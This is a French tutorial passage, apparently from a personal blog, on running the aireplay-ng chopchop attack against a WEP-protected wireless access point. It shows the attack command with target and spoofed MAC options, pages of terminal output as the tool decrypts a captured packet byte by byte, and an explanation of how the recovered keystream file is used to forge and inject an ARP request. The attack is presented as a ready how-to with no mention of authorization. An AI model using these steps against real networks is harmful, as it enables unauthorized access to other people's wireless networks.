Le principal problème que l’on rencontre, lorsqu’on attaque un AP, est bien souvent le manque de traffic sur la ligne. Il peut se passer des heures sans que vous soyez capable de récupérer une seule requête ARP et cela peut vous faire péter un cable, croyez moi.

L’attaque par chopchop permet d’éviter cette attente!!! Le principe est simple, il est basé sur la possibilité de générer une fausse requete ARP en decryptant un packet WEP. Pour cela on utilise aireplay et packetforge comme suit:

      root@bigbrother:~# aireplay-ng -4 ath0 -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX
      The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
      ifconfig ath0 hw ether XX:XX:XX:XX:XX:XX                                                                                          
              Size: 68, FromDS: 1, ToDS: 0 (WEP)
                   BSSID  =  00:16:CF:61:D2:21
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:16:CE:D4:86:6A
      0x0000:  0842 0000 ffff ffff ffff 0016 cf61 c221  .B...........a.!
      0x0010:  0016 ced4 866a 1007 d451 d200 dca0 0ea5  .....j...Q......
      0x0020:  a80d 8954 200a d3e4 aed9 a7ea f1a9 74bf  ...T .........t.
      0x0030:  4064 60d0 75ac b8db 6ed7 bc6a b61d bc46  @d`.u...n..j...F
      0x0040:  bb9d 02c7                                ....
      Use this packet ? y
                                                                                          
      Saving chosen packet in replay_src-0206-202943.cap
      Offset   67 ( 0% done) | xor = 2C | pt = EB |  515 frames written in  1546ms  
      Offset   66 ( 2% done) | xor = D4 | pt = D6 | 4195 frames written in 12586ms
      Offset   65 ( 5% done) | xor = 37 | pt = AA | 2621 frames written in  7862ms
      Offset   64 ( 8% done) | xor = 37 | pt = 8C | 4719 frames written in 14158ms
      Offset   63 (11% done) | xor = 44 | pt = 02 | 3565 frames written in 10694ms
      Offset   62 (14% done) | xor = BD | pt = 01 | 1153 frames written in  3459ms
      Offset   61 (17% done) | xor = B5 | pt = A8 | 1258 frames written in  3774ms
      Offset   60 (20% done) | xor = 76 | pt = C0 | 3356 frames written in 10067ms
      Offset   59 (23% done) | xor = 6A | pt = 00 | 2306 frames written in  6920ms
      Offset   58 (26% done) | xor = BC | pt = 00 | 1783 frames written in  5349ms
      Offset   57 (29% done) | xor = D7 | pt = 00 | 1678 frames written in  5034ms
      Offset   56 (32% done) | xor = 6E | pt = 00 | 3879 frames written in 11637ms
      Offset   55 (35% done) | xor = DB | pt = 00 | 2412 frames written in  7236ms
      Offset   54 (38% done) | xor = B8 | pt = 00 | 2307 frames written in  6920ms
      Offset   53 (41% done) | xor = AD | pt = 01 | 1468 frames written in  4404ms
      Offset   52 (44% done) | xor = 74 | pt = 01 | 5768 frames written in 17303ms
      Offset   51 (47% done) | xor = 78 | pt = A8 | 1365 frames written in  4096ms
      Offset   50 (50% done) | xor = A0 | pt = C0 | 1675 frames written in  5026ms
      Offset   49 (52% done) | xor = 0E | pt = 6A | 2097 frames written in  6291ms
      Offset   48 (55% done) | xor = C6 | pt = 86 | 2412 frames written in  7235ms
      Offset   47 (58% done) | xor = 6B | pt = D4 | 1363 frames written in  4089ms
      Offset   46 (61% done) | xor = BA | pt = CE | 2307 frames written in  6921ms
      Offset   45 (64% done) | xor = BF | pt = 16 | 1678 frames written in  5035ms
      Offset   44 (67% done) | xor = F1 | pt = 00 | 2307 frames written in  6921ms
      Offset   43 (70% done) | xor = EB | pt = 01 | 1258 frames written in  3774ms
      Offset   42 (73% done) | xor = A7 | pt = 00 | 1049 frames written in  3145ms
      Offset   41 (76% done) | xor = DD | pt = 04 | 1153 frames written in  3460ms
      Offset   40 (79% done) | xor = A8 | pt = 06 | 2622 frames written in  7865ms
      Offset   39 (82% done) | xor = E4 | pt = 00 | 2936 frames written in  8808ms
      Offset   38 (85% done) | xor = DB | pt = 08 | 3564 frames written in 10693ms
      Offset   37 (88% done) | xor = 0B | pt = 01 | 2203 frames written in  6608ms
      Offset   36 (91% done) | xor = 20 | pt = 00 | 1257 frames written in  3773ms
      Offset   35 (94% done) | xor = 52 | pt = 06 | 1154 frames written in  3461ms
      Offset   34 (97% done) | xor = 81 | pt = 08 | 1363 frames written in  4090ms
                                                                                          
      Saving plaintext in replay_la_date.cap
      Saving keystream in replay_la_date.xor
      Completed in 225s (0.13 bytes/s)

Une petite explication des paramètres s'impose:

1. -4 : attaque chopchop
2. ath0 : mon interface réseau
3. -a : adresse mac de l’access point a attaquer (bssid)
   
4. -h : notre adresse mac

Aireplay va prendre le packet que vous sélectionnez (a noter que ca ne marche pas forcément avec le 1er packet) et reconstruire le debut de la requete ARP dont nous avons besoin. En fait cette attaque permet de récupérer le PRGA (Pseudo Random Generation Algorithm, c'est des maths! cherchez pas à comprendre) et de reconstruire un packet pour l’injecter. Le fichier généré qui nous interesse est replay_la date.xor.